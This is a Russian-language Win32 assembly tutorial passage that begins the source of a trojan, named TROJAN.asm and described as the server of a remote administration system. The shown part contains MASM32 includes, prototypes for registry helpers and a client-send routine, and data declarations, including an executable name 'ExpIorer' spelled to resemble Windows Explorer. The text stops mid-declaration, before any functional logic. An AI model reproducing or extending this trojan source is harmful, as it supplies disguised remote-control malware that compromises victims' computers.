Win32Asm Tutorial #3
А теперь перейдём к очередной проге - серверу простой (но это ещё не значит малофункциональной) системы удаленного администрирования: ;ТРОJAN.asm ;о назначении этого заголовка смотри предыдущую статью .486 .model flat,stdcall option casemap:none include \masm32\include\winmm.inc include \masm32\include\windows.inc include \masm32\include\masm32.inc include \masm32\include\wsock32.inc include \masm32\include\user32.inc include \masm32\include\kernel32.inc include \masm32\include\advapi32.inc include \masm32\include\shell32.inc includelib \masm32\lib\shell32.lib includelib \masm32\lib\user32.lib includelib \masm32\lib\kernel32.lib includelib \masm32\lib\wsock32.lib includelib \masm32\lib\masm32.lib includelib \masm32\lib\advapi32.lib includelib \masm32\lib\winmm.lib WinMain PROTO :DWORD,:DWORD,:DWORD,:DWORD SetRegKeysz PROTO :DWORD,:DWORD,:DWORD,:DWORD SetRegKeyDW PROTO :DWORD, :DWORD, :DWORD GetRegKeyDW PROTO :DWORD, :DWORD, :DWORD send_LB_shit_2_client PROTO :DWORD,:DWORD ; ----- ; инициализированные данные ; ----- .DATA IDC_LB equ 3000 ;идентификатор окна списка WM_SOCKET equ WM_USER + 100 ;назначим сообщение для сокета ClassName db "StupidBlowMyDickClass",0 ;название класса окна AppName db "ExpIorer",0 ;название нашего EXE-шника IconName db "TDIcon",0 ;иконка проги lstBox db "LISTBOX",0 ;назв

























